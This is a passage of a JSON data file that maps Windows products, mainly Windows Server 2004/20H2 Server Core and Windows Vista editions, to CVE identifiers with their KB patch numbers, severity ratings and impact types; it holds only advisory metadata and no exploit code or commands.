Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601315","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"}],"Windows Server, version 2004 (Server Core installation)":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601319","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-36942","kb":"5005033","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 20H2 (Server Core Installation)":[{"cve":"CVE-2020-1472","kb":"4601319","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005033","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"}],"Windows Update Assistant":[{"cve":"CVE-2021-42297","kb":"","severity":"Important","impact":"Elevation of Privilege"}],"Windows Vista":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista Service Pack 1":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Vista Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898869","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3023299","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3194371","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"3205715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista x64 Edition":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista x64 Edition Service Pack 1":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898869","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3023299","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3194371","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"3205715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code 